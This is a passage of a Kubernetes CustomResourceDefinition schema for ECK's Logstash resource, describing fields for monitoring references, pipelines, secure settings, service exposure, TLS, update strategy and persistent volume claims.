                          - `ca.crt`: the CA certificate in PEM format (optional)
                          - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                          This field cannot be used in combination with the other fields name, namespace or serviceName.
                        type: string
                      serviceName:
                        description: |-
                          ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                          object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                          the referenced resource is used.
                        type: string
                    type: object
                  type: array
                image:
                  description: Image is the Logstash Docker image to deploy. Version
                    and Type have to match the Logstash in the image.
                  type: string
                monitoring:
                  description: |-
                    Monitoring enables you to collect and ship log and monitoring data of this Logstash.
                    Metricbeat and Filebeat are deployed in the same Pod as sidecars and each one sends data to one or two different
                    Elasticsearch monitoring clusters running in the same Kubernetes cluster.
                  properties:
                    logs:
                      description: Logs holds references to Elasticsearch clusters
                        which receive log data from an associated resource.
                      properties:
                        elasticsearchRefs:
                          description: |-
                            ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.
                            Due to existing limitations, only a single Elasticsearch cluster is currently supported.
                          items:
                            description: |-
                              ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator
                              or a Secret describing an external Elastic resource not managed by the operator.
                            properties:
                              name:
                                description: Name of an existing Kubernetes object
                                  corresponding to an Elastic resource managed by
                                  ECK.
                                type: string
                              namespace:
                                description: Namespace of the Kubernetes object. If
                                  empty, defaults to the current namespace.
                                type: string
                              secretName:
                                description: |-
                                  SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                                  Elastic resource not managed by the operator. The referenced secret must contain the following:
                                  - `url`: the URL to reach the Elastic resource
                                  - `username`: the username of the user to be authenticated to the Elastic resource
                                  - `password`: the password of the user to be authenticated to the Elastic resource
                                  - `ca.crt`: the CA certificate in PEM format (optional)
                                  - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                                  This field cannot be used in combination with the other fields name, namespace or serviceName.
                                type: string
                              serviceName:
                                description: |-
                                  ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                                  object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                                  the referenced resource is used.
                                type: string
                            type: object
                          type: array
                      type: object
                    metrics:
                      description: Metrics holds references to Elasticsearch clusters
                        which receive monitoring data from this resource.
                      properties:
                        elasticsearchRefs:
                          description: |-
                            ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.
                            Due to existing limitations, only a single Elasticsearch cluster is currently supported.
                          items:
                            description: |-
                              ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator
                              or a Secret describing an external Elastic resource not managed by the operator.
                            properties:
                              name:
                                description: Name of an existing Kubernetes object
                                  corresponding to an Elastic resource managed by
                                  ECK.
                                type: string
                              namespace:
                                description: Namespace of the Kubernetes object. If
                                  empty, defaults to the current namespace.
                                type: string
                              secretName:
                                description: |-
                                  SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                                  Elastic resource not managed by the operator. The referenced secret must contain the following:
                                  - `url`: the URL to reach the Elastic resource
                                  - `username`: the username of the user to be authenticated to the Elastic resource
                                  - `password`: the password of the user to be authenticated to the Elastic resource
                                  - `ca.crt`: the CA certificate in PEM format (optional)
                                  - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                                  This field cannot be used in combination with the other fields name, namespace or serviceName.
                                type: string
                              serviceName:
                                description: |-
                                  ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                                  object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                                  the referenced resource is used.
                                type: string
                            type: object
                          type: array
                      type: object
                  type: object
                pipelines:
                  description: Pipelines holds the Logstash Pipelines. At most one
                    of [`Pipelines`, `PipelinesRef`] can be specified.
                  items:
                    type: object
                  type: array
                  x-kubernetes-preserve-unknown-fields: true
                pipelinesRef:
                  description: |-
                    PipelinesRef contains a reference to an existing Kubernetes Secret holding the Logstash Pipelines.
                    Logstash pipelines must be specified as yaml, under a single "pipelines.yml" entry. At most one of [`Pipelines`, `PipelinesRef`]
                    can be specified.
                  properties:
                    secretName:
                      description: SecretName is the name of the secret.
                      type: string
                  type: object
                podTemplate:
                  description: PodTemplate provides customisation options for the
                    Logstash pods.
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                revisionHistoryLimit:
                  description: RevisionHistoryLimit is the number of revisions to
                    retain to allow rollback in the underlying StatefulSet.
                  format: int32
                  type: integer
                secureSettings:
                  description: |-
                    SecureSettings is a list of references to Kubernetes Secrets containing sensitive configuration options for the Logstash.
                    Secrets data can be then referenced in the Logstash config using the Secret's keys or as specified in `Entries` field of
                    each SecureSetting.
                  items:
                    description: SecretSource defines a data source based on a Kubernetes
                      Secret.
                    properties:
                      entries:
                        description: |-
                          Entries define how to project each key-value pair in the secret to filesystem paths.
                          If not defined, all keys will be projected to similarly named paths in the filesystem.
                          If defined, only the specified keys will be projected to the corresponding paths.
                        items:
                          description: KeyToPath defines how to map a key in a Secret
                            object to a filesystem path.
                          properties:
                            key:
                              description: Key is the key contained in the secret.
                              type: string
                            path:
                              description: |-
                                Path is the relative file path to map the key to.
                                Path must not be an absolute file path and must not contain any ".." components.
                              type: string
                          required:
                          - key
                          type: object
                        type: array
                      secretName:
                        description: SecretName is the name of the secret.
                        type: string
                    required:
                    - secretName
                    type: object
                  type: array
                serviceAccountName:
                  description: |-
                    ServiceAccountName is used to check access from the current resource to Elasticsearch resource in a different namespace.
                    Can only be used if ECK is enforcing RBAC on references.
                  type: string
                services:
                  description: |-
                    Services contains details of services that Logstash should expose - similar to the HTTP layer configuration for the
                    rest of the stack, but also applicable for more use cases than the metrics API, as logstash may need to
                    be opened up for other services: Beats, TCP, UDP, etc, inputs.
                  items:
                    properties:
                      name:
                        type: string
                      service:
                        description: Service defines the template for the associated
                          Kubernetes Service object.
                        properties:
                          metadata:
                            description: |-
                              ObjectMeta is the metadata of the service.
                              The name and namespace provided here are managed by ECK and will be ignored.
                            properties:
                              annotations:
                                additionalProperties:
                                  type: string
                                type: object
                              finalizers:
                                items:
                                  type: string
                                type: array
                              labels:
                                additionalProperties:
                                  type: string
                                type: object
                              name:
                                type: string
                              namespace:
                                type: string
                            type: object
                          spec:
                            description: Spec is the specification of the service.
                            properties:
                              allocateLoadBalancerNodePorts:
                                description: |-
                                  allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                  allocated for services with type LoadBalancer.  Default is "true". It
                                  may be set to "false" if the cluster load-balancer does not rely on
                                  NodePorts.  If the caller requests specific NodePorts (by specifying a
                                  value), those requests will be respected, regardless of this field.
                                  This field may only be set for services with type LoadBalancer and will
                                  be cleared if the type is changed to any other type.
                                type: boolean
                              clusterIP:
                                description: |-
                                  clusterIP is the IP address of the service and is usually assigned
                                  randomly. If an address is specified manually, is in-range (as per
                                  system configuration), and is not in use, it will be allocated to the
                                  service; otherwise creation of the service will fail. This field may not
                                  be changed through updates unless the type field is also being changed
                                  to ExternalName (which requires this field to be blank) or the type
                                  field is being changed from ExternalName (in which case this field may
                                  optionally be specified, as describe above).  Valid values are "None",
                                  empty string (""), or a valid IP address. Setting this to "None" makes a
                                  "headless service" (no virtual IP), which is useful when direct endpoint
                                  connections are preferred and proxying is not required.  Only applies to
                                  types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                  when creating a Service of type ExternalName, creation will fail. This
                                  field will be wiped when updating a Service to type ExternalName.
                                  More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                                type: string
                              clusterIPs:
                                description: |-
                                  ClusterIPs is a list of IP addresses assigned to this service, and are
                                  usually assigned randomly.  If an address is specified manually, is
                                  in-range (as per system configuration), and is not in use, it will be
                                  allocated to the service; otherwise creation of the service will fail.
                                  This field may not be changed through updates unless the type field is
                                  also being changed to ExternalName (which requires this field to be
                                  empty) or the type field is being changed from ExternalName (in which
                                  case this field may optionally be specified, as describe above).  Valid
                                  values are "None", empty string (""), or a valid IP address.  Setting
                                  this to "None" makes a "headless service" (no virtual IP), which is
                                  useful when direct endpoint connections are preferred and proxying is
                                  not required.  Only applies to types ClusterIP, NodePort, and
                                  LoadBalancer. If this field is specified when creating a Service of type
                                  ExternalName, creation will fail. This field will be wiped when updating
                                  a Service to type ExternalName.  If this field is not specified, it will
                                  be initialized from the clusterIP field.  If this field is specified,
                                  clients must ensure that clusterIPs[0] and clusterIP have the same
                                  value.


                                  This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                  These IPs must correspond to the values of the ipFamilies field. Both
                                  clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                  More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                                items:
                                  type: string
                                type: array
                                x-kubernetes-list-type: atomic
                              externalIPs:
                                description: |-
                                  externalIPs is a list of IP addresses for which nodes in the cluster
                                  will also accept traffic for this service.  These IPs are not managed by
                                  Kubernetes.  The user is responsible for ensuring that traffic arrives
                                  at a node with this IP.  A common example is external load-balancers
                                  that are not part of the Kubernetes system.
                                items:
                                  type: string
                                type: array
                                x-kubernetes-list-type: atomic
                              externalName:
                                description: |-
                                  externalName is the external reference that discovery mechanisms will
                                  return as an alias for this service (e.g. a DNS CNAME record). No
                                  proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                  (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                                type: string
                              externalTrafficPolicy:
                                description: |-
                                  externalTrafficPolicy describes how nodes distribute service traffic they
                                  receive on one of the Service's "externally-facing" addresses (NodePorts,
                                  ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                  the service in a way that assumes that external load balancers will take care
                                  of balancing the service traffic between nodes, and so each node will deliver
                                  traffic only to the node-local endpoints of the service, without masquerading
                                  the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                  be dropped.) The default value, "Cluster", uses the standard behavior of
                                  routing to all endpoints evenly (possibly modified by topology and other
                                  features). Note that traffic sent to an External IP or LoadBalancer IP from
                                  within the cluster will always get "Cluster" semantics, but clients sending to
                                  a NodePort from within the cluster may need to take traffic policy into account
                                  when picking a node.
                                type: string
                              healthCheckNodePort:
                                description: |-
                                  healthCheckNodePort specifies the healthcheck nodePort for the service.
                                  This only applies when type is set to LoadBalancer and
                                  externalTrafficPolicy is set to Local. If a value is specified, is
                                  in-range, and is not in use, it will be used.  If not specified, a value
                                  will be automatically allocated.  External systems (e.g. load-balancers)
                                  can use this port to determine if a given node holds endpoints for this
                                  service or not.  If this field is specified when creating a Service
                                  which does not need it, creation will fail. This field will be wiped
                                  when updating a Service to no longer need it (e.g. changing type).
                                  This field cannot be updated once set.
                                format: int32
                                type: integer
                              internalTrafficPolicy:
                                description: |-
                                  InternalTrafficPolicy describes how nodes distribute service traffic they
                                  receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                  only want to talk to endpoints of the service on the same node as the pod,
                                  dropping the traffic if there are no local endpoints. The default value,
                                  "Cluster", uses the standard behavior of routing to all endpoints evenly
                                  (possibly modified by topology and other features).
                                type: string
                              ipFamilies:
                                description: |-
                                  IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                  service. This field is usually assigned automatically based on cluster
                                  configuration and the ipFamilyPolicy field. If this field is specified
                                  manually, the requested family is available in the cluster,
                                  and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                  the service will fail. This field is conditionally mutable: it allows
                                  for adding or removing a secondary IP family, but it does not allow
                                  changing the primary IP family of the Service. Valid values are "IPv4"
                                  and "IPv6".  This field only applies to Services of types ClusterIP,
                                  NodePort, and LoadBalancer, and does apply to "headless" services.
                                  This field will be wiped when updating a Service to type ExternalName.


                                  This field may hold a maximum of two entries (dual-stack families, in
                                  either order).  These families must correspond to the values of the
                                  clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                  governed by the ipFamilyPolicy field.
                                items:
                                  description: |-
                                    IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                    to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                  type: string
                                type: array
                                x-kubernetes-list-type: atomic
                              ipFamilyPolicy:
                                description: |-
                                  IPFamilyPolicy represents the dual-stack-ness requested or required by
                                  this Service. If there is no value provided, then this field will be set
                                  to SingleStack. Services can be "SingleStack" (a single IP family),
                                  "PreferDualStack" (two IP families on dual-stack configured clusters or
                                  a single IP family on single-stack clusters), or "RequireDualStack"
                                  (two IP families on dual-stack configured clusters, otherwise fail). The
                                  ipFamilies and clusterIPs fields depend on the value of this field. This
                                  field will be wiped when updating a service to type ExternalName.
                                type: string
                              loadBalancerClass:
                                description: |-
                                  loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                  If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                  e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                  This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                  balancer implementation is used, today this is typically done through the cloud provider integration,
                                  but should apply for any default implementation. If set, it is assumed that a load balancer
                                  implementation is watching for Services with a matching class. Any default load balancer
                                  implementation (e.g. cloud providers) should ignore Services that set this field.
                                  This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                  Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                                type: string
                              loadBalancerIP:
                                description: |-
                                  Only applies to Service Type: LoadBalancer.
                                  This feature depends on whether the underlying cloud-provider supports specifying
                                  the loadBalancerIP when a load balancer is created.
                                  This field will be ignored if the cloud-provider does not support the feature.
                                  Deprecated: This field was under-specified and its meaning varies across implementations.
                                  Using it is non-portable and it may not support dual-stack.
                                  Users are encouraged to use implementation-specific annotations when available.
                                type: string
                              loadBalancerSourceRanges:
                                description: |-
                                  If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                  load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                  cloud-provider does not support the feature."
                                  More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                                items:
                                  type: string
                                type: array
                                x-kubernetes-list-type: atomic
                              ports:
                                description: |-
                                  The list of ports that are exposed by this service.
                                  More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                                items:
                                  description: ServicePort contains information on
                                    service's port.
                                  properties:
                                    appProtocol:
                                      description: |-
                                        The application protocol for this port.
                                        This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                        This field follows standard Kubernetes label syntax.
                                        Valid values are either:


                                        * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                        RFC-6335 and https://www.iana.org/assignments/service-names).


                                        * Kubernetes-defined prefixed names:
                                          * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                          * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                          * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                        * Other protocols should use implementation-defined prefixed names such as
                                        mycompany.com/my-custom-protocol.
                                      type: string
                                    name:
                                      description: |-
                                        The name of this port within the service. This must be a DNS_LABEL.
                                        All ports within a ServiceSpec must have unique names. When considering
                                        the endpoints for a Service, this must match the 'name' field in the
                                        EndpointPort.
                                        Optional if only one ServicePort is defined on this service.
                                      type: string
                                    nodePort:
                                      description: |-
                                        The port on each node on which this service is exposed when type is
                                        NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                        specified, in-range, and not in use it will be used, otherwise the
                                        operation will fail.  If not specified, a port will be allocated if this
                                        Service requires one.  If this field is specified when creating a
                                        Service which does not need it, creation will fail. This field will be
                                        wiped when updating a Service to no longer need it (e.g. changing type
                                        from NodePort to ClusterIP).
                                        More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                      format: int32
                                      type: integer
                                    port:
                                      description: The port that will be exposed by
                                        this service.
                                      format: int32
                                      type: integer
                                    protocol:
                                      default: TCP
                                      description: |-
                                        The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                        Default is TCP.
                                      type: string
                                    targetPort:
                                      anyOf:
                                      - type: integer
                                      - type: string
                                      description: |-
                                        Number or name of the port to access on the pods targeted by the service.
                                        Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                        If this is a string, it will be looked up as a named port in the
                                        target Pod's container ports. If this is not specified, the value
                                        of the 'port' field is used (an identity map).
                                        This field is ignored for services with clusterIP=None, and should be
                                        omitted or set equal to the 'port' field.
                                        More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                      x-kubernetes-int-or-string: true
                                  required:
                                  - port
                                  type: object
                                type: array
                                x-kubernetes-list-map-keys:
                                - port
                                - protocol
                                x-kubernetes-list-type: map
                              publishNotReadyAddresses:
                                description: |-
                                  publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                  Service should disregard any indications of ready/not-ready.
                                  The primary use case for setting this field is for a StatefulSet's Headless Service to
                                  propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                  The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                  Services interpret this to mean that all endpoints are considered "ready" even if the
                                  Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                  through the Endpoints or EndpointSlice resources can safely assume this behavior.
                                type: boolean
                              selector:
                                additionalProperties:
                                  type: string
                                description: |-
                                  Route service traffic to pods with label keys and values matching this
                                  selector. If empty or not present, the service is assumed to have an
                                  external process managing its endpoints, which Kubernetes will not
                                  modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                  Ignored if type is ExternalName.
                                  More info: https://kubernetes.io/docs/concepts/services-networking/service/
                                type: object
                                x-kubernetes-map-type: atomic
                              sessionAffinity:
                                description: |-
                                  Supports "ClientIP" and "None". Used to maintain session affinity.
                                  Enable client IP based session affinity.
                                  Must be ClientIP or None.
                                  Defaults to None.
                                  More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                                type: string
                              sessionAffinityConfig:
                                description: sessionAffinityConfig contains the configurations
                                  of session affinity.
                                properties:
                                  clientIP:
                                    description: clientIP contains the configurations
                                      of Client IP based session affinity.
                                    properties:
                                      timeoutSeconds:
                                        description: |-
                                          timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                          The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                          Default value is 10800(for 3 hours).
                                        format: int32
                                        type: integer
                                    type: object
                                type: object
                              trafficDistribution:
                                description: |-
                                  TrafficDistribution offers a way to express preferences for how traffic is
                                  distributed to Service endpoints. Implementations can use this field as a
                                  hint, but are not required to guarantee strict adherence. If the field is
                                  not set, the implementation will apply its default routing strategy. If set
                                  to "PreferClose", implementations should prioritize endpoints that are
                                  topologically close (e.g., same zone).
                                  This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                                type: string
                              type:
                                description: |-
                                  type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                  options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                  "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                  to endpoints. Endpoints are determined by the selector or if that is not
                                  specified, by manual construction of an Endpoints object or
                                  EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                  allocated and the endpoints are published as a set of endpoints rather
                                  than a virtual IP.
                                  "NodePort" builds on ClusterIP and allocates a port on every node which
                                  routes to the same endpoints as the clusterIP.
                                  "LoadBalancer" builds on NodePort and creates an external load-balancer
                                  (if supported in the current cloud) which routes to the same endpoints
                                  as the clusterIP.
                                  "ExternalName" aliases this service to the specified externalName.
                                  Several other fields do not apply to ExternalName services.
                                  More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                                type: string
                            type: object
                        type: object
                      tls:
                        description: TLS defines options for configuring TLS for HTTP.
                        properties:
                          certificate:
                            description: |-
                              Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.
                              The referenced secret should contain the following:


                              - `ca.crt`: The certificate authority (optional).
                              - `tls.crt`: The certificate (or a chain).
                              - `tls.key`: The private key to the first certificate in the certificate chain.
                            properties:
                              secretName:
                                description: SecretName is the name of the secret.
                                type: string
                            type: object
                          selfSignedCertificate:
                            description: SelfSignedCertificate allows configuring
                              the self-signed certificate generated by the operator.
                            properties:
                              disabled:
                                description: Disabled indicates that the provisioning
                                  of the self-signed certifcate should be disabled.
                                type: boolean
                              subjectAltNames:
                                description: SubjectAlternativeNames is a list of
                                  SANs to include in the generated HTTP TLS certificate.
                                items:
                                  description: SubjectAlternativeName represents a
                                    SAN entry in a x509 certificate.
                                  properties:
                                    dns:
                                      description: DNS is the DNS name of the subject.
                                      type: string
                                    ip:
                                      description: IP is the IP address of the subject.
                                      type: string
                                  type: object
                                type: array
                            type: object
                        type: object
                    type: object
                  type: array
                updateStrategy:
                  description: UpdateStrategy is a StatefulSetUpdateStrategy. The
                    default type is "RollingUpdate".
                  properties:
                    rollingUpdate:
                      description: RollingUpdate is used to communicate parameters
                        when Type is RollingUpdateStatefulSetStrategyType.
                      properties:
                        maxUnavailable:
                          anyOf:
                          - type: integer
                          - type: string
                          description: |-
                            The maximum number of pods that can be unavailable during the update.
                            Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                            Absolute number is calculated from percentage by rounding up. This can not be 0.
                            Defaults to 1. This field is alpha-level and is only honored by servers that enable the
                            MaxUnavailableStatefulSet feature. The field applies to all pods in the range 0 to
                            Replicas-1. That means if there is any unavailable pod in the range 0 to Replicas-1, it
                            will be counted towards MaxUnavailable.
                          x-kubernetes-int-or-string: true
                        partition:
                          description: |-
                            Partition indicates the ordinal at which the StatefulSet should be partitioned
                            for updates. During a rolling update, all pods from ordinal Replicas-1 to
                            Partition are updated. All pods from ordinal Partition-1 to 0 remain untouched.
                            This is helpful in being able to do a canary based deployment. The default value is 0.
                          format: int32
                          type: integer
                      type: object
                    type:
                      description: |-
                        Type indicates the type of the StatefulSetUpdateStrategy.
                        Default is RollingUpdate.
                      type: string
                  type: object
                version:
                  description: Version of the Logstash.
                  type: string
                volumeClaimTemplates:
                  description: |-
                    VolumeClaimTemplates is a list of persistent volume claims to be used by each Pod.
                    Every claim in this list must have a matching volumeMount in one of the containers defined in the PodTemplate.
                    Items defined here take precedence over any default claims added by the operator with the same name.
                  items:
                    description: PersistentVolumeClaim is a user's request for and
                      claim to a persistent volume
                    properties:
                      apiVersion:
                        description: |-
                          APIVersion defines the versioned schema of this representation of an object.
                          Servers should convert recognized schemas to the latest internal value, and
                          may reject unrecognized values.
                          More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
                        type: string
                      kind:
                        description: |-
                          Kind is a string value representing the REST resource this object represents.
                          Servers may infer this from the endpoint the client submits requests to.
                          Cannot be updated.
                          In CamelCase.
                          More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
                        type: string
                      metadata:
                        description: |-
                          Standard object's metadata.
                          More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
                        properties:
                          annotations:
                            additionalProperties:
                              type: string
                            type: object
                          finalizers:
                            items:
                              type: string
                            type: array
                          labels:
                            additionalProperties:
                              type: string
                            type: object
                          name:
                            type: string
                          namespace:
                            type: string
                        type: object
                      spec:
                        description: |-
                          spec defines the desired characteristics of a volume requested by a pod author.
                          More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#persistentvolumeclaims
                        properties:
                          accessModes:
                            description: |-
                              accessModes contains the desired access modes the volume should have.
                              More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#access-modes-1
                            items:
                              type: string
                            type: array
                            x-kubernetes-list-type: atomic
                          dataSource:
                            description: |-
                              dataSource field can be used to specify either:
                              * An existing VolumeSnapshot object (snapshot.storage.k8s.io/VolumeSnapshot)
                              * An existing PVC (PersistentVolumeClaim)
                              If the provisioner or an external controller can support the specified data source,
                              it will create a new volume based on the contents of the specified data source.
                              When the AnyVolumeDataSource feature gate is enabled, dataSource contents will be copied to dataSourceRef,
                              and dataSourceRef contents will be copied to dataSource when dataSourceRef.namespace is not specified.
                              If the namespace is specified, then dataSourceRef will not be copied to dataSource.
                            properties:
                              apiGroup:
                                description: |-
                                  APIGroup is the group for the resource being referenced.
                                  If APIGroup is not specified, the specified Kind must be in the core API group.
                                  For any other third-party types, APIGroup is required.
                                type: string
                              kind:
                                description: Kind is the type of resource being referenced
                                type: string
                              name:
                                description: Name is the name of resource being referenced
                                type: string
                            required:
                            - kind
                            - name
                            type: object
                            x-kubernetes-map-type: atomic
                          dataSourceRef:
                            description: |-
                              dataSourceRef specifies the object from which to populate the volume with data, if a non-empty
                              volume is desired. This may be any object from a non-empty API group (non
                              core object) or a PersistentVolumeClaim object.
                              When this field is specified, volume binding will only succeed if the type of
                              the specified object matches some installed volume populator or dynamic
                              provisioner.
                              This field will replace the functionality of the dataSource field and as such
                              if both fields are non-empty, they must have the same value. For backwards
                              compatibility, when namespace isn't specified in dataSourceRef,
                              both fields (dataSource and dataSourceRef) will be set to the same
                              value automatically if one of them is empty and the other is non-empty.
                              When namespace is specified in dataSourceRef,
                              dataSource isn't set to the same value and must be empty.
                              There are three important differences between dataSource and dataSourceRef:
                              * While dataSource only allows two specific types of objects, dataSourceRef
                                allows any non-core object, as well as PersistentVolumeClaim objects.
                              * While dataSource ignores disallowed values (dropping them), dataSourceRef
                                preserves all values, and generates an error if a disallowed value is
                                specified.
                              * While dataSource only allows local objects, dataSourceRef allows objects
                                in any namespaces.
                              (Beta) Using this field requires the AnyVolumeDataSource feature gate to be enabled.
                              (Alpha) Using the namespace field of dataSourceRef requires the CrossNamespaceVolumeDataSource feature gate to be enabled.
                            properties:
                              apiGroup:
                                description: |-
                                  APIGroup is the group for the resource being referenced.
                                  If APIGroup is not specified, the specified Kind must be in the core API group.
                                  For any other third-party types, APIGroup is required.
                                type: string
                              kind:
                                description: Kind is the type of resource being referenced
                                type: string
                              name:
                                description: Name is the name of resource being referenced
                                type: string
                              namespace:
                                description: |-
                                  Namespace is the namespace of resource being referenced
                                  Note that when a namespace is specified, a gateway.networking.k8s.io/ReferenceGrant object is required in the referent namespace to allow that namespace's owner to accept the reference. See the ReferenceGrant documentation for details.
                                  (Alpha) This field requires the CrossNamespaceVolumeDataSource feature gate to be enabled.
                                type: string
                            required:
                            - kind
                            - name
                            type: object
                          resources:
                            description: |-
                              resources represents the minimum resources the volume should have.
                              If RecoverVolumeExpansionFailure feature is enabled users are allowed to specify resource requirements
                              that are lower than previous value but must still be higher than capacity recorded in the
                              status field of the claim.
                              More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#resources
                            properties:
                              limits:
                                additionalProperties:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                  x-kubernetes-int-or-string: true
                                description: |-
                                  Limits describes the maximum amount of compute resources allowed.
                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                type: object
                              requests:
                                additionalProperties:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                  x-kubernetes-int-or-string: true
                                description: |-
                                  Requests describes the minimum amount of compute resources required.
                                  If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                  otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                type: object
                            type: object
                          selector:
                            description: selector is a label query over volumes to
                              consider for binding.
                            properties:
                              matchExpressions:
                                description: matchExpressions is a list of label selector
                                  requirements. The requirements are ANDed.
                                items:
                                  description: |-
                                    A label selector requirement is a selector that contains values, a key, and an operator that
                                    relates the key and values.
                                  properties:
                                    key:
                                      description: key is the label key that the selector
                                        applies to.
                                      type: string
                                    operator:
                                      description: |-
                                        operator represents a key's relationship to a set of values.
                                        Valid operators are In, NotIn, Exists and DoesNotExist.
                                      type: string
                                    values:
                                      description: |-
                                        values is an array of string values. If the operator is In or NotIn,
                                        the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                        the values array must be empty. This array is replaced during a strategic
                                        merge patch.
                                      items:
                                        type: string
                                      type: array
                                      x-kubernetes-list-type: atomic
                                  required:
                                  - key
                                  - operator
                                  type: object
                                type: array
                                x-kubernetes-list-type: atomic
                              matchLabels:
                                additionalProperties:
                                  type: string
                                description: |-
                                  matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                  map is equivalent to an element of matchExpressions, whose key field is "key", the
                                  operator is "In", and the values array contains only "value". The requirements are ANDed.
                                type: object
                            type: object
                            x-kubernetes-map-type: atomic
                          storageClassName:
                            description: |-
                              storageClassName is the name of the StorageClass required by the claim.
                              More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#class-1
                            type: string
                          volumeAttributesClassName:
                            description: |-
                              volumeAttributesClassName may be used to set the VolumeAttributesClass used by this claim.
                              If specified, the CSI driver will create or update the volume with the attributes defined
                              in the corresponding VolumeAttributesClass. This has a different purpose than storageClassName,
                              it can be changed after the claim is created. An empty string value means that no VolumeAttributesClass
                              will be applied to the claim but it's not allowed to reset this field to empty string once it is set.
                              If unspecified and the PersistentVolumeClaim is unbound, the default VolumeAttributesClass
                              will be set by the persistentvolume controller if it exists.
